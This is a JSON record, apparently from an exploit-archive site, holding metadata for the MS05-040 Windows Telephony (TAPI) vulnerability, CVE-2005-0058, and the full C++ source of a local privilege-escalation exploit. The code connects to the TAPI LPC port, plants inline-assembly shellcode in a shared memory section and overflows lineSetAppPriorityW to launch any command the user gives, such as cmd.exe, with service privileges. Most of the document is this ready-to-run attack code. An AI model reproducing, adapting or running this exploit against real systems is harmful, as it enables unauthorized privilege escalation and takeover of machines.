{"exploit":{"id":"EDB-1584","name":"Microsoft Windows - Telephony Service Command Execution (MS05-040)","description":"Microsoft Windows - Telephony Service Command Execution (MS05-040)","cves":["CVE-2005-0058"],"author":"Cesar Cerrudo","published":"2006-03-14","platform":"windows","type":"local","language":"C++","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/1584","path":"exploits/windows/local/1584.cpp","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-1584.cpp","vulnerabilities":[{"id":"CVE-2005-0058","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in the Telephony Application Programming Interface (TAPI) for Microsoft Windows 98, Windows 98 SE, Windows ME, Windows 2000, Windows XP, and Windows Server 2003 allows attackers to elevate privileges or execute arbitrary code via a crafted message.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2005-0058","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2005-0058"},"updatedAt":"2024-08-07T20:57:41.107Z","retrievedAt":"2026-11-27T17:08:56.248Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-1584.png?v=2","url":"https://exploitbin.com/exploits/EDB-1584","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-1584/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-1584/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"// by Cesar Cerrudo - Argeniss - www.argeniss.com\n//\n// TAPI Vulnerability- MS05-040\n//\n// Should work on Win2k sp0,sp1,sp2,sp3,sp4 any language\n// If Telephony Service is not running you can start it by net start \"Telephony Service\"\n\n#include \"windows.h\"\n#include \"stdio.h\"\n#include \"tapi.h\"\n\ntypedef struct _UNICODE_STRING {\n  USHORT  Length;\n  USHORT  MaximumLength;\n  PWSTR  Buffer;\n} UNICODE_STRING;\n\n\ntypedef struct LpcSectionMapInfo{\n        DWORD Length;\n        DWORD SectionSize;\n        DWORD ServerBaseAddress;\n} LPCSECTIONMAPINFO;\n\n\ntypedef struct LpcSectionInfo {\n        DWORD Length;\n        HANDLE SectionHandle;\n        DWORD Param1;\n        DWORD SectionSize;\n        DWORD ClientBaseAddress;\n        DWORD ServerBaseAddress;\n} LPCSECTIONINFO;\n\n#define SHARED_SECTION_SIZE 0x1000\n\ntypedef struct _OBJDIR_INFORMATION {\n  UNICODE_STRING          ObjectName;\n  UNICODE_STRING          ObjectTypeName;\n  BYTE                    Data[1];\n} OBJDIR_INFORMATION;\n\ntypedef struct _OBJECT_ATTRIBUTES {\n    ULONG Length;\n    HANDLE RootDirectory;\n    UNICODE_STRING *ObjectName;\n    ULONG Attributes;\n    PVOID SecurityDescriptor;\n    PVOID SecurityQualityOfService;\n} OBJECT_ATTRIBUTES;\n\n#define InitializeObjectAttributes( p, n, a, r, s ) { \\\n    (p)->Length = sizeof( OBJECT_ATTRIBUTES );          \\\n    (p)->RootDirectory = r;                             \\\n    (p)->Attributes = a;                                \\\n    (p)->ObjectName = n;                                \\\n    (p)->SecurityDescriptor = s;                        \\\n    (p)->SecurityQualityOfService = NULL;               \\\n    }\n\nWCHAR  * uString=(WCHAR  *) HeapAlloc(GetProcessHeap(), 0, 0x100);\nLPVOID lpLocalAddress,lpTargetAddress;\n\n\nDWORD ConnectToLPCPort(){\n\n\tHMODULE hNtdll;\n\tHANDLE hPort;\n\tLPCSECTIONINFO sectionInfo;\n\tLPCSECTIONMAPINFO mapInfo;\n\tbyte ConnectDataBuffer[100];\n\tDWORD Size = sizeof(ConnectDataBuffer);\n\tWCHAR  * uString=L\"\\\\RPC Control\\\\tapsrvlpc\";//TAPI LPC port\n\tDWORD i;\n\tUNICODE_STRING uStr;\n\n\tfor (i=0;i<100;i++)\n\t\tConnectDataBuffer[i]=0x0;\n\n\n\thNtdll=LoadLibrary(\"ntdll.dll\");\n\n\tDWORD (WINAPI * pfnNtConnectPort)(HANDLE*,UNICODE_STRING * ,SECURITY_QUALITY_OF_SERVICE*,DWORD*,DWORD*,DWORD*,DWORD*,DWORD*);\n\tpfnNtConnectPort= (DWORD (WINAPI *)(HANDLE* ,UNICODE_STRING *,SECURITY_QUALITY_OF_SERVICE*,DWORD*,DWORD*,DWORD*,DWORD*,DWORD*))GetProcAddress(hNtdll,\"NtConnectPort\");\n\n\tDWORD (WINAPI * pfnCreateSection)(HANDLE* ,DWORD,DWORD,PLARGE_INTEGER,DWORD,DWORD,DWORD);\n    pfnCreateSection= (DWORD (WINAPI *)(HANDLE* ,DWORD,DWORD,PLARGE_INTEGER,DWORD,DWORD,DWORD))GetProcAddress(hNtdll,\"NtCreateSection\");\n\n\tHANDLE hSection;\n\tLARGE_INTEGER SecSize;\n\tDWORD maxSize=0;\n\n\tSecSize.LowPart=0x1000;\n\tSecSize.HighPart=0x0;\n\n\tSECURITY_QUALITY_OF_SERVICE qos;\n    DWORD qosSize=4;\n\tqos.Length =(DWORD)&qosSize;\n\tqos.ImpersonationLevel =(_SECURITY_IMPERSONATION_LEVEL)0x2;\n\tqos.ContextTrackingMode =0x01000101;\n\tqos.EffectiveOnly =0x10000;\n\n\t//create shared section\n\tpfnCreateSection(&hSection,SECTION_ALL_ACCESS,NULL,&SecSize,PAGE_READWRITE,SEC_COMMIT ,NULL);\n\n\tmemset(&sectionInfo, 0, sizeof(sectionInfo));\n\tmemset(&mapInfo, 0, sizeof(mapInfo));\n\n\tsectionInfo.Length = 0x18;\n\tsectionInfo.SectionHandle =hSection;\n\tsectionInfo.SectionSize = SHARED_SECTION_SIZE;\n\tmapInfo.Length = 0x0C;\n\n\tuStr.Length = wcslen(uString)*2;\n\tuStr.MaximumLength = wcslen(uString)*2+2;\n\tuStr.Buffer =uString;\n\n\t//connect to LPC port\n\tif (!pfnNtConnectPort(&hPort,&uStr,&qos,(DWORD *)&sectionInfo,(DWORD *)&mapInfo,&maxSize,(DWORD*)ConnectDataBuffer,&Size)){\n\t\tlpLocalAddress =(LPVOID)sectionInfo.ClientBaseAddress ;\n\t\tlpTargetAddress =(LPVOID)sectionInfo.ServerBaseAddress ;\n\t\treturn 1;\n\t}\n\n\treturn 0;\n}\n\n\nint main(int argc, char* argv[])\n{\n\n  HMODULE hKernel;\n  DWORD iStrLen;\n  FARPROC pWinExec,pExitThread;\n  LPSTR sCommand;\n\n\n  if (!argv[1]) {\n\tprintf(\"\\nUsage :\\n\tTapiExploit \\\"command\\\" \\n\");\n\tprintf(\"\\nExample :\\n  TapiExploit \\\"cmd.exe\\\" \\n\");\n\texit(0);\n  }\n\n  iStrLen=strlen(argv[1]);\n\n  if(iStrLen>=65){\n\tprintf(\"\\n\\\"command\\\" must be less than 65 chars.\\n\");\n\texit(0);\n  }\n\n  sCommand=argv[1];\n\n  if (!ConnectToLPCPort()){ //connect to TAPI LPC port\n\tprintf(\"Could not connect to LPC port \\nTAPI service couldn't be running\\nTry again.\");\n\texit(0);\n  }\n\n\n  hKernel=LoadLibrary(\"Kernel32.dll\");\n\n//  pWinExec=GetProcAddress(hKernel,\"WinExec\");\n  pWinExec=GetProcAddress(hKernel,\"CreateProcessA\");\n  pExitThread=GetProcAddress(hKernel,\"ExitThread\");\n\nCHAR sWinSta[]=\"WinSta0\\\\Default\";\n\n\t//copy shellcode\n_asm {\n\n\tpushad\n\n\tlea esi, Shellcode\n\tmov edi, lpLocalAddress\n\tadd edi, 0x10\n\tlea ecx, End\n\tsub ecx, esi\n\tpush esi\n\tpush edi\n\tcld\n\trep movsb\n\n\tpop edi\n\tpop esi\n\tpush edi\n\n\tlea ecx, CommandBuf\n\tsub ecx, esi\n\tadd edi, ecx\n\tmov esi, sCommand\n\tmov ecx, iStrLen\n\trep movsb\n\tmov [edi], 0x00\n\n\tpop edi\n\tmov esi, pWinExec\n\tmov [edi+0x0a], esi\n\n\tmov esi, pExitThread\n\tmov [edi+0x0e], esi\n\n\n//////////////\n\n\tadd edi, 0x2f0\n\tlea esi, sWinSta\n\tmov ecx, 0xf\n\tcld\n\trep movsb\n\n\n///////////////\n\n\n\tjmp Done\n\nShellcode:\n    jmp Start\n\t\t\t\t// this gets overwritten\n\tmov ax,0xffff\n\tmov ax,0xffff\n\tmov ax,0xffff\n\tmov ax,0xffff\n\nCommandBuf:\t\t\t\t\t// this gets overwritten\n\tmov dword ptr[eax],0x55555555\n\tmov dword ptr[eax],0x55555555\n\tmov dword ptr[eax],0x55555555\n\tmov dword ptr[eax],0x55555555\n\tmov dword ptr[eax],0x55555555\n\tmov dword ptr[eax],0x55555555\n\tmov dword ptr[eax],0x55555555\n\tmov dword ptr[eax],0x55555555\n\tmov dword ptr[eax],0x55555555\n\tmov dword ptr[eax],0x55555555\n\tmov dword ptr[eax],0x55555555\n\nStart:\n\tcall getDelta\n\ngetDelta:\n\tpop edx\t\t\t\t\t\t\t// Get shellcode/shared section pointer\n\tpush edx\n\n/*\tpush 0x1\t\t\t\t\t\t// push 0x0 for hidden window\n\tlea eax, [edx-0x47]\n\tpush eax\t\t\t\t\t\t// Command offset\n\tcall [edx-0x4f]\t\t\t\t\t// Call WinExec\n */\n\n\tmov eax, edx\n\tadd eax,0x500\n\n\tpush eax\t\t\t\t\t//LPPROCESS_INFORMATION\n\n\tadd eax, 0x100\n\tmov ebx, edx\n\txor bl, bl\n\tlea ecx, [ebx+0x300]\n\tlea ebx, [eax+0x8]\n\tmov [ebx], ecx\t\t\t\t//set windows station and desktop\n\tpush eax\t\t\t\t\t//LPSTARTUPINFO\n\tpush 0x0\n\tpush 0x0\n\tpush 0x0\n\tpush 0x0\n\tpush 0x0\n\tpush 0x0\n\n\tlea eax, [edx-0x47]\n\tpush eax\t\t\t\t\t\t// Command offset\n\n\tpush 0x0\n\tcall [edx-0x4f]\t\t\t\t\t// Call create process\n\n\n\n\tpop edx\n\tcall [edx-0x4b]\t\t\t\t\t// Call ExitThread\n\nEnd:\n\nDone:\n\tpopad\n\n  }\n\n\n  LPSTR   lpszAppFilename=(LPSTR  )HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x21C) ;\n  LINEEXTENSIONID ExtensionID;\n\n  memset(lpszAppFilename,0x58,0x21A);\n\n  _asm{\n\tpushad\n\n\tmov ebx, lpszAppFilename\n\tlea ebx, [ebx+0x216]\n\tmov eax, lpTargetAddress\n\tadd eax, 0x10\n\tmov [ebx], eax\n\n\tpopad\n  }\n\n  lineSetAppPriorityW((LPWSTR )lpszAppFilename,NULL,&ExtensionID,LINEREQUESTMODE_MAKECALL,NULL,NULL);\n\n  Sleep(1000);\n\n  printf(\"Command should have been executed ;)\\n\");\n\n  return 0;\n\n}\n\n// milw0rm.com [2006-03-14]","sha256":"0e75172fb378fb9186e4aef69ff5d247b261bc32de6a480f95b75d0e4a853d81","bytes":6714,"fetchedAt":"2026-11-27T17:08:56.068Z","encoding":"utf-8 (display only; download retains original bytes)"}